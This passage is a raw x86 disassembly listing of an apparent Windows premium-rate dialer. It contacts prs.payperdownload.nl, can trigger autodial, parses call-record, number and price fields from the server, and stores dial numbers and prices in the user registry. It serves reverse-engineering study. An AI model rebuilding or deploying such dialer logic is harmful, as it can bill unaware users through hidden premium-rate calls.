mov [ebp+var_28], eax
jg short loc_4072C3
mov ecx, eax
loc_4072C3: ; CODE XREF: sub_406E60+45Fj
lea esi, [ebp+edx+var_B10]
mov edx, ecx
lea edi, [ebp+var_F0]
shr ecx, 2
rep movsd
mov ecx, edx
mov edx, [ebp+var_48]
and ecx, 3
rep movsb
mov [ebp+eax+var_F0], 0
mov eax, [ebp+var_34]
sub eax, edx
mov ecx, 1Dh
cmp eax, 1Dh
mov [ebp+var_24], eax
jg short loc_4072FD
mov ecx, eax
loc_4072FD: ; CODE XREF: sub_406E60+499j
lea esi, [ebp+edx+var_B10]
mov edx, ecx
lea edi, [ebp+var_D0]
shr ecx, 2
rep movsd
mov ecx, edx
mov edx, [ebp+hKey]
and ecx, 3
rep movsb
mov [ebp+eax+var_D0], 0
mov eax, [ebp+var_38]
sub eax, edx
cmp eax, 4
mov [ebp+var_18], eax
jle short loc_407335
mov eax, 4
loc_407335: ; CODE XREF: sub_406E60+4CEj
mov ecx, eax
mov eax, [ebp+hKey]
mov edx, ecx
lea edi, [ebp+var_40]
lea esi, [ebp+eax+var_B10]
mov ebx, [ebp+var_2C]
shr ecx, 2
rep movsd
mov eax, [ebp+var_18]
mov ecx, edx
mov edx, [ebp+var_4C]
and ecx, 3
sub ebx, edx
rep movsb
cmp ebx, 4
mov [ebp+eax+var_40], 0
mov ecx, 4
jg short loc_40736E
mov ecx, ebx
loc_40736E: ; CODE XREF: sub_406E60+50Aj
lea esi, [ebp+edx+var_B10]
mov edx, ecx
lea edi, [ebp+var_34]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
test eax, eax
mov byte ptr [ebp+ebx+var_34], 0
jle loc_4074D8
test ebx, ebx
jle loc_4074D8
mov esi, [ebp+var_18]
lea eax, [ebp+var_40]
push esi
push eax
push offset aXx ; "xx"
call sub_40B490
add esp, 0Ch
test eax, eax
jz short loc_4073CE
lea ecx, [ebp+var_40]
push esi
push ecx
push offset aXx_0 ; "XX"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz loc_4074D8
loc_4073CE: ; CODE XREF: sub_406E60+552j
mov eax, [ebp+cbData]
lea esi, [ebp+String2]
mov ecx, eax
lea edi, [ebp+var_110]
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_28]
lea esi, [ebp+var_F0]
mov [ebp+var_2C], ecx
mov edx, ecx
shr ecx, 2
lea edi, [ebp+var_7C]
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_18]
lea esi, [ebp+var_B0]
mov [ebp+var_38], ecx
mov ecx, [ebp+var_1C]
mov [ebp+cbData], ecx
mov edx, ecx
shr ecx, 2
lea edi, [ebp+String2]
mov [ebp+var_1C], eax
rep movsd
mov ecx, edx
mov [ebp+var_18], ebx
and ecx, 3
rep movsb
mov ecx, edx
lea esi, [ebp+var_D0]
lea edi, [ebp+var_F0]
mov [ebp+ecx+String2], 0
mov ecx, [ebp+var_24]
mov [ebp+var_28], ecx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, edx
lea esi, [ebp+var_34]
lea edi, [ebp+var_40]
mov [ebp+ecx+var_F0], 0
mov ecx, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, eax
lea esi, [ebp+var_110]
mov edx, ecx
lea edi, [ebp+var_B0]
shr ecx, 2
rep movsd
mov ecx, edx
mov [ebp+ebx+var_40], 0
and ecx, 3
rep movsb
mov [ebp+eax+var_B0], 0
mov eax, [ebp+var_2C]
mov ecx, eax
lea esi, [ebp+var_7C]
mov edx, ecx
lea edi, [ebp+var_D0]
shr ecx, 2
rep movsd
mov ecx, edx
mov [ebp+var_24], eax
and ecx, 3
rep movsb
mov [ebp+eax+var_D0], 0
mov eax, [ebp+var_38]
mov byte ptr [ebp+eax+var_34], 0
loc_4074D8: ; CODE XREF: sub_406E60+52Dj
; sub_406E60+535j ...
mov eax, [ebp+cbData]
xor ebx, ebx
cmp eax, ebx
jle loc_4077BE
mov ecx, [ebp+var_54]
lea edx, [ebp+String]
push 200h ; cchBufferMax
push edx ; lpBuffer
mov eax, [ecx+1Ch]
push 71h ; uID
push eax ; hInstance
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_80], ebx
mov [ebp+var_7C], bl
mov [ebp+var_5E], bl
call ds:LoadStringA ; LoadStringA
mov esi, eax
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
mov edi, ds:lstrlenA
cmp esi, ebx
jz short loc_4075A3
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_40755B
xor eax, eax
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_4075A9
; ---------------------------------------------------------------------------
loc_407549: ; CODE XREF: sub_406E60+166j
mov eax, 0FFFFFFFDh
lea esp, [ebp-0B1Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40755B: ; CODE XREF: sub_406E60+6D6j
lea edx, [ebp+String]
push edx ; lpString
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, ebx
xor ebx, ebx
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_4075A9
; ---------------------------------------------------------------------------
loc_4075A3: ; CODE XREF: sub_406E60+6CCj
mov [ebp+bstrString], ebx
loc_4075A9: ; CODE XREF: sub_406E60+6E7j
; sub_406E60+741j
mov ecx, offset MultiByteStr ; "\\"
test ecx, ecx
jnz short loc_4075B9
xor eax, eax
mov [ebp+var_2C], eax
jmp short loc_4075F1
; ---------------------------------------------------------------------------
loc_4075B9: ; CODE XREF: sub_406E60+750j
push offset MultiByteStr ; "\\"
call edi ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov ebx, esp
push esi ; cchWideChar
push ebx ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push offset MultiByteStr ; "\\"
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [ebx], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, ebx
xor ebx, ebx
mov [ebp+var_2C], eax
loc_4075F1: ; CODE XREF: sub_406E60+757j
push eax ; lpString
call ds:lstrlenW ; lstrlenW
mov edi, eax
mov eax, [ebp+bstrString]
cmp eax, ebx
mov [ebp+var_38], edi
jnz short loc_40760B
xor esi, esi
jmp short loc_407614
; ---------------------------------------------------------------------------
loc_40760B: ; CODE XREF: sub_406E60+7A5j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_407614: ; CODE XREF: sub_406E60+7A9j
lea eax, [esi+edi]
push eax ; ui
push 0 ; strIn
mov [ebp+var_34], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_407679
lea eax, [esi+esi]
mov esi, [ebp+bstrString]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_38]
mov esi, [ebp+var_2C]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_34]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov [ebp+bstrString], ebx
loc_407679: ; CODE XREF: sub_406E60+7C7j
mov edi, [ebp+var_54]
push 7Ah ; bstrString
lea ecx, [ebp+bstrString]
mov edx, [edi+1Ch]
push edx ; hInstance
call sub_40A840
lea eax, [ebp+dwDisposition]
lea ecx, [ebp+hKey]
push eax ; lpdwDisposition
push ecx ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jnz loc_407750
mov edx, [ebp+cbData]
mov ecx, [ebp+hKey]
mov esi, ds:RegSetValueExA
lea eax, [ebp+String2]
push edx ; cbData
push eax ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aPhonenumber1 ; "phonenumber1"
push ecx ; hKey
call esi ; RegSetValueExA
mov edx, [ebp+var_1C]
mov ecx, [ebp+hKey]
lea eax, [ebp+var_B0]
push edx ; cbData
push eax ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aPhonenumber2 ; "phonenumber2"
push ecx ; hKey
call esi ; RegSetValueExA
mov edx, [ebp+var_28]
mov ecx, [ebp+hKey]
lea eax, [ebp+var_F0]
push edx ; cbData
push eax ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aPrice1 ; "price1"
push ecx ; hKey
call esi ; RegSetValueExA
mov edx, [ebp+var_24]
mov ecx, [ebp+hKey]
lea eax, [ebp+var_D0]
push edx ; cbData
push eax ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aPrice2 ; "price2"
push ecx ; hKey
call esi ; RegSetValueExA
mov edx, [ebp+var_18]
mov ecx, [ebp+hKey]
lea eax, [ebp+var_40]
push edx ; cbData
push eax ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aCc ; "cc"
push ecx ; hKey
call esi ; RegSetValueExA
mov edx, [ebp+hKey]
push edx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_407750: ; CODE XREF: sub_406E60+85Bj
lea eax, [ebp+String2]
lea esi, [edi+20h]
push eax ; lpString2
push 1 ; int
mov ecx, esi
call sub_409350
lea ecx, [ebp+var_B0]
push ecx ; lpString2
push 2 ; int
mov ecx, esi
call sub_409350
mov eax, [ebp+lpMem]
xor esi, esi
test eax, eax
jz short loc_40778E
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], esi
loc_40778E: ; CODE XREF: sub_406E60+91Dj
mov edx, [ebp+bstrString]
push edx ; bstrString
call ds:SysFreeString
mov eax, [ebp+var_5C]
push eax
call ds:InternetCloseHandle ; InternetCloseHandle
mov ecx, [ebp+var_58]
push ecx
call ds:InternetCloseHandle ; InternetCloseHandle
mov eax, esi
lea esp, [ebp-0B1Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4077BE: ; CODE XREF: sub_406E60+67Fj
mov esi, 0FFFFFFFDh
loc_4077C3: ; CODE XREF: sub_406E60+A9j
; sub_406E60+B4j
mov eax, [ebp+var_5C]
push eax
call ds:InternetCloseHandle ; InternetCloseHandle
mov ecx, [ebp+var_58]
push ecx
call ds:InternetCloseHandle ; InternetCloseHandle
mov eax, esi
lea esp, [ebp-0B1Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4077E6: ; CODE XREF: sub_406E60+85j
mov ecx, [ebp+var_58]
mov esi, 0FFFFFFFEh
push ecx
call ds:InternetCloseHandle ; InternetCloseHandle
mov eax, esi
lea esp, [ebp-0B1Ch]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
loc_407804: ; CODE XREF: sub_406E60+2Bj
; sub_406E60+48j ...
lea esp, [ebp-0B1Ch]
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_406E60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407820 proc near ; CODE XREF: sub_406720+327p
; sub_406720+333p
var_E98 = byte ptr -0E98h
var_698 = byte ptr -698h
String = byte ptr -298h
var_98 = byte ptr -98h
String2 = byte ptr -78h
bstrString = dword ptr -64h
lpMem = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_3A = byte ptr -3Ah
var_38 = dword ptr -38h
dwDisposition = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
cbData = dword ptr -1Ch
var_18 = dword ptr -18h
lpString = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
hKey = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0E98h
push ebx
push esi
mov esi, ds:InternetCheckConnectionA
push edi
push 0
mov edi, ecx
push 1
push offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
mov [ebp+var_20], edi
call esi ; InternetCheckConnectionA
test eax, eax
jnz short loc_40786E
mov al, [edi+54h]
test al, al
jnz loc_407EA2
push 0
push 2
call ds:InternetAutodial ; InternetAutodial
push 0
push 1
push offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
call esi ; InternetCheckConnectionA
test eax, eax
jz loc_407EA2
loc_40786E: ; CODE XREF: sub_407820+24j
push 0
push 0
push 0
push 0
push offset aDel ; "del"
call ds:InternetOpenA ; InternetOpenA
mov ebx, eax
test ebx, ebx
mov [ebp+var_24], ebx
jz loc_407EA2
mov edi, offset aHttpPrs_payp_1 ; "http://prs.payperdownload.nl/radius/dia"...
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [ebp+var_698]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
push 0
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
push 0
rep movsb
lea edi, [ebp+var_698]
or ecx, 0FFFFFFFFh
repne scasb
mov edi, [ebp+arg_0]
push 0
not ecx
dec ecx
lea edx, [ebp+ecx+var_698]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
lea ecx, [ebp+var_698]
push ecx
push ebx
call ds:InternetOpenUrlA ; InternetOpenUrlA
mov esi, eax
test esi, esi
mov [ebp+var_2C], esi
jz loc_407E85
lea edx, [ebp+var_28]
lea eax, [ebp+var_E98]
push edx
push 800h
push eax
push esi
mov edi, 0FFFFFFFDh
call ds:InternetReadFile ; InternetReadFile
test eax, eax
jz loc_407E66
mov eax, [ebp+var_28]
xor ecx, ecx
cmp eax, ecx
jz loc_407E66
xor esi, esi
cmp eax, ecx
mov [ebp+eax+var_E98], cl
mov [ebp+var_5], 0
mov [ebp+var_3], 0
mov [ebp+var_4], 0
mov [ebp+var_D], 0
mov [ebp+var_F], 0
mov [ebp+var_2], 0
mov [ebp+var_1], 0
mov [ebp+var_E], 0
mov [ebp+lpString], ecx
mov [ebp+cbData], ecx
mov [ebp+hKey], ecx
mov [ebp+var_18], ecx
jbe loc_407B0F
mov ebx, 1
lea edi, [ebp+var_E98]
jmp short loc_40798B
; ---------------------------------------------------------------------------
loc_407989: ; CODE XREF: sub_407820+2E9j
xor ecx, ecx
loc_40798B: ; CODE XREF: sub_407820+167j
mov al, [ebp+var_E]
test al, al
jnz loc_407B0F
movsx eax, byte ptr [edi]
sub eax, 22h
jz loc_407AC7
sub eax, 1Ah
jz loc_407AC1
sub eax, 2
jz loc_407A9F
cmp ebx, 7D1h
jg loc_407BE4
mov al, [ebp+var_4]
test al, al
jz short loc_407A30
push 0Bh
push edi
push offset aCallrecords ; "callrecords"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_4079ED
add esi, 0Ah
add edi, 0Ah
mov [ebp+var_5], 1
add ebx, 0Ah
jmp loc_407B01
; ---------------------------------------------------------------------------
loc_4079ED: ; CODE XREF: sub_407820+1B9j
push 0Ch
push edi
push offset aCallrecords_0 ; "/callrecords"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_407A0A
mov [ebp+var_E], 1
jmp loc_407B01
; ---------------------------------------------------------------------------
loc_407A0A: ; CODE XREF: sub_407820+1DFj
push 4
push edi
push offset aCall ; "call"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_407A30
add esi, 3
add edi, 3
mov [ebp+var_3], 1
add ebx, 3
jmp loc_407B01
; ---------------------------------------------------------------------------
loc_407A30: ; CODE XREF: sub_407820+1A5j
; sub_407820+1FCj
mov al, [ebp+var_3]
test al, al
jz loc_407B01
push 0Ah
push edi
push offset aRealnumber ; "realnumber"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_407A6F
mov [ebp+var_2], al
mov al, [ebp+var_D]
test al, al
jnz short loc_407A5D
mov [ebp+var_2], 1
loc_407A5D: ; CODE XREF: sub_407820+237j
add esi, 9
add edi, 9
mov [ebp+var_1], 0
add ebx, 9
jmp loc_407B01
; ---------------------------------------------------------------------------
loc_407A6F: ; CODE XREF: sub_407820+22Dj
push 5
push edi
push offset aPrice ; "price"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_407B01
mov [ebp+var_2], al
mov [ebp+var_1], al
mov al, [ebp+var_F]
test al, al
jnz short loc_407A94
mov [ebp+var_1], 1
loc_407A94: ; CODE XREF: sub_407820+26Ej
add esi, 4
add edi, 4
add ebx, 4
jmp short loc_407B01
; ---------------------------------------------------------------------------
loc_407A9F: ; CODE XREF: sub_407820+18Ej
mov al, [ebp+var_5]
test al, al
jz short loc_407AB0
mov [ebp+var_5], 0
mov [ebp+var_4], 0
jmp short loc_407B01
; ---------------------------------------------------------------------------
loc_407AB0: ; CODE XREF: sub_407820+284j
mov al, [ebp+var_3]
test al, al
jz short loc_407ABB
mov [ebp+var_3], 0
loc_407ABB: ; CODE XREF: sub_407820+295j
mov [ebp+var_4], 0
jmp short loc_407B01
; ---------------------------------------------------------------------------
loc_407AC1: ; CODE XREF: sub_407820+185j
mov [ebp+var_4], 1
jmp short loc_407B01
; ---------------------------------------------------------------------------
loc_407AC7: ; CODE XREF: sub_407820+17Cj
mov al, [ebp+var_2]
test al, al
jz short loc_407AE5
cmp [ebp+lpString], ecx
jle short loc_407AE0
mov [ebp+var_2], 0
mov [ebp+var_D], 1
mov [ebp+cbData], esi
jmp short loc_407B01
; ---------------------------------------------------------------------------
loc_407AE0: ; CODE XREF: sub_407820+2B1j
mov [ebp+lpString], ebx
jmp short loc_407B01
; ---------------------------------------------------------------------------
loc_407AE5: ; CODE XREF: sub_407820+2ACj
mov al, [ebp+var_1]
test al, al
jz short loc_407B01
cmp [ebp+hKey], ecx
jle short loc_407AFE
mov [ebp+var_1], 0
mov [ebp+var_F], 1
mov [ebp+var_18], esi
jmp short loc_407B01
; ---------------------------------------------------------------------------
loc_407AFE: ; CODE XREF: sub_407820+2CFj
mov [ebp+hKey], ebx
loc_407B01: ; CODE XREF: sub_407820+1C8j
; sub_407820+1E5j ...
mov eax, [ebp+var_28]
inc esi
inc edi
inc ebx
cmp esi, eax
jb loc_407989
loc_407B0F: ; CODE XREF: sub_407820+156j
; sub_407820+170j
mov eax, [ebp+lpString]
mov edx, [ebp+cbData]
sub edx, eax
mov ecx, 13h
cmp edx, 13h
mov [ebp+cbData], edx
jg short loc_407B26
mov ecx, edx
loc_407B26: ; CODE XREF: sub_407820+302j
lea esi, [ebp+eax+var_E98]
mov eax, ecx
lea edi, [ebp+String2]
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, [ebp+var_18]
and ecx, 3
rep movsb
mov esi, [ebp+hKey]
mov [ebp+edx+String2], 0
sub eax, esi
mov ecx, 27h
cmp eax, 27h
mov [ebp+var_18], eax
jg short loc_407B5A
mov ecx, eax
loc_407B5A: ; CODE XREF: sub_407820+336j
mov esi, [ebp+hKey]
mov ebx, ecx
lea edi, [ebp+var_98]
lea esi, [ebp+esi+var_E98]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
xor edi, edi
mov [ebp+eax+var_98], 0
cmp edx, edi
jle loc_407E5B
mov ecx, [ebp+var_20]
lea edx, [ebp+String]
push 200h ; cchBufferMax
push edx ; lpBuffer
mov eax, [ecx+1Ch]
push 71h ; uID
push eax ; hInstance
mov [ebp+bstrString], edi
mov [ebp+lpMem], edi
mov [ebp+var_5C], edi
mov [ebp+var_58], 0
mov [ebp+var_3A], 0
call ds:LoadStringA ; LoadStringA
mov esi, eax
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
mov ebx, ds:lstrlenA
cmp esi, edi
jz short loc_407C3D
lea ecx, [ebp+String]
test ecx, ecx
jnz short loc_407BF8
xor eax, eax
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_407C40
; ---------------------------------------------------------------------------
loc_407BE4: ; CODE XREF: sub_407820+19Aj
mov eax, 0FFFFFFFDh
lea esp, [ebp-0EA4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_407BF8: ; CODE XREF: sub_407820+3B4j
lea edx, [ebp+String]
push edx ; lpString
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
lea eax, [ebp+String]
push 0FFFFFFFFh ; cbMultiByte
push eax ; lpMultiByteStr
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [edi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov eax, edi
xor edi, edi
push eax ; psz
call ds:SysAllocString
mov [ebp+bstrString], eax
jmp short loc_407C40
; ---------------------------------------------------------------------------
loc_407C3D: ; CODE XREF: sub_407820+3AAj
mov [ebp+bstrString], edi
loc_407C40: ; CODE XREF: sub_407820+3C2j
; sub_407820+41Bj
mov ecx, offset MultiByteStr ; "\\"
test ecx, ecx
jnz short loc_407C4E
mov [ebp+lpString], edi
jmp short loc_407C84
; ---------------------------------------------------------------------------
loc_407C4E: ; CODE XREF: sub_407820+427j
push offset MultiByteStr ; "\\"
call ebx ; lstrlenA
mov esi, eax
inc esi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_40AF70
mov edi, esp
push esi ; cchWideChar
push edi ; lpWideCharStr
push 0FFFFFFFFh ; cbMultiByte
push offset MultiByteStr ; "\\"
push 0 ; dwFlags
push 0 ; CodePage
mov word ptr [edi], 0
call ds:MultiByteToWideChar ; MultiByteToWideChar
mov [ebp+lpString], edi
xor edi, edi
loc_407C84: ; CODE XREF: sub_407820+42Cj
mov edx, [ebp+lpString]
push edx ; lpString
call ds:lstrlenW ; lstrlenW
mov ebx, eax
mov eax, [ebp+bstrString]
cmp eax, edi
mov [ebp+var_38], ebx
jnz short loc_407C9E
xor esi, esi
jmp short loc_407CA7
; ---------------------------------------------------------------------------
loc_407C9E: ; CODE XREF: sub_407820+478j
push eax ; BSTR
call ds:SysStringLen
mov esi, eax
loc_407CA7: ; CODE XREF: sub_407820+47Cj
lea eax, [esi+ebx]
push eax ; ui
push edi ; strIn
mov [ebp+var_30], eax
call ds:SysAllocStringLen
mov ebx, eax
test ebx, ebx
jz short loc_407D02
lea eax, [esi+esi]
mov esi, [ebp+bstrString]
mov ecx, eax
mov edi, ebx
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov ecx, [ebp+var_38]
mov esi, [ebp+lpString]
add ecx, ecx
lea edi, [eax+ebx]
mov edx, ecx
mov eax, [ebp+var_30]
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov word ptr [ebx+eax*2], 0
mov ecx, [ebp+bstrString]
push ecx ; bstrString
call ds:SysFreeString
mov [ebp+bstrString], ebx
loc_407D02: ; CODE XREF: sub_407820+499j
mov edi, [ebp+var_20]
push 7Ah ; bstrString
lea ecx, [ebp+bstrString]
mov edx, [edi+1Ch]
push edx ; hInstance
call sub_40A840
mov eax, [ebp+arg_0]
push 2
push offset aXx ; "xx"
push eax
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_407D9C
lea ecx, [ebp+dwDisposition]
lea edx, [ebp+hKey]
push ecx ; lpdwDisposition
push edx ; phkResult
push eax ; lpSecurityAttributes
push 0F003Fh ; samDesired
push eax ; dwOptions
push eax ; lpClass
push eax ; Reserved
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jnz short loc_407D94
mov eax, [ebp+cbData]
mov edx, [ebp+hKey]
mov esi, ds:RegSetValueExA
lea ecx, [ebp+String2]
push eax ; cbData
push ecx ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aPhonenumber2 ; "phonenumber2"
push edx ; hKey
call esi ; RegSetValueExA
mov eax, [ebp+var_18]
mov edx, [ebp+hKey]
lea ecx, [ebp+var_98]
push eax ; cbData
push ecx ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aPrice2 ; "price2"
push edx ; hKey
call esi ; RegSetValueExA
mov eax, [ebp+hKey]
push eax ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_407D94: ; CODE XREF: sub_407820+531j
lea ecx, [ebp+String2]
push ecx
push 2
jmp short loc_407E0F
; ---------------------------------------------------------------------------
loc_407D9C: ; CODE XREF: sub_407820+508j
lea edx, [ebp+dwDisposition]
lea eax, [ebp+hKey]
push edx ; lpdwDisposition
push eax ; phkResult
push 0 ; lpSecurityAttributes
push 0F003Fh ; samDesired
push 0 ; dwOptions
push 0 ; lpClass
push 0 ; Reserved
lea ecx, [ebp+bstrString]
call sub_40A2D0
push eax ; lpSubKey
push 80000001h ; hKey
call ds:RegCreateKeyExA ; RegCreateKeyExA
test eax, eax
jnz short loc_407E09
mov ecx, [ebp+cbData]
mov esi, ds:RegSetValueExA
lea edx, [ebp+String2]
push ecx ; cbData
push edx ; lpData
push 1 ; dwType
push eax ; Reserved
mov eax, [ebp+hKey]
push offset aPhonenumber1 ; "phonenumber1"
push eax ; hKey
call esi ; RegSetValueExA
mov ecx, [ebp+var_18]
mov eax, [ebp+hKey]
lea edx, [ebp+var_98]
push ecx ; cbData
push edx ; lpData
push 1 ; dwType
push 0 ; Reserved
push offset aPrice1 ; "price1"
push eax ; hKey
call esi ; RegSetValueExA
mov ecx, [ebp+hKey]
push ecx ; hKey
call ds:RegCloseKey ; RegCloseKey
loc_407E09: ; CODE XREF: sub_407820+5A7j
lea edx, [ebp+String2]
push edx ; lpString2
push 1 ; int
loc_407E0F: ; CODE XREF: sub_407820+57Aj
lea ecx, [edi+20h]
call sub_409350
mov eax, [ebp+lpMem]
xor edi, edi
cmp eax, edi
jz short loc_407E2C
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [ebp+lpMem], edi
loc_407E2C: ; CODE XREF: sub_407820+5FEj
mov eax, [ebp+bstrString]
push eax ; bstrString
call ds:SysFreeString
mov esi, [ebp+var_2C]
mov ebx, [ebp+var_24]
push esi
call ds:InternetCloseHandle ; InternetCloseHandle
push ebx
call ds:InternetCloseHandle ; InternetCloseHandle
mov eax, edi
lea esp, [ebp-0EA4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_407E5B: ; CODE XREF: sub_407820+364j
mov ebx, [ebp+var_24]
mov esi, [ebp+var_2C]
mov edi, 0FFFFFFFDh
loc_407E66: ; CODE XREF: sub_407820+10Cj
; sub_407820+119j
push esi
call ds:InternetCloseHandle ; InternetCloseHandle
push ebx
call ds:InternetCloseHandle ; InternetCloseHandle
mov eax, edi
lea esp, [ebp-0EA4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_407E85: ; CODE XREF: sub_407820+E8j
push ebx
mov edi, 0FFFFFFFEh
call ds:InternetCloseHandle ; InternetCloseHandle
mov eax, edi
lea esp, [ebp-0EA4h]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_407EA2: ; CODE XREF: sub_407820+2Bj
; sub_407820+48j ...
lea esp, [ebp-0EA4h]
or eax, 0FFFFFFFFh
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn 4
sub_407820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407EC0 proc near ; CODE XREF: sub_405C90+152p
; sub_406720+40p
psz = byte ptr -438h
Data = byte ptr -338h
String = byte ptr -238h
var_138 = byte ptr -138h
bstrString = dword ptr -38h
lpMem = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_E = byte ptr -0Eh
Type = dword ptr -0Ch
cbData = dword ptr -8
hKey = dword ptr -4
push ebp
mov ebp, esp
sub esp, 438h
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp+psz]
push 200h ; cchBufferMax
mov eax, [edi+1Ch]
push ecx ; lpBuffer
xor ebx, ebx
push 71h ; uID
push eax ; hInstance
mov [ebp+Type], edi
mov [ebp+bstrString], ebx
mov [ebp+lpMem], ebx
mov [ebp+var_30], ebx
mov [ebp+var_2C], bl
mov [ebp+var_E], bl
call ds:LoadStringA ; LoadStringA
mov edx, [ebp+bstrString]
mov esi, eax
push edx ; bstrString
call ds:SysFreeString
cmp esi, ebx
jz short loc_407F66
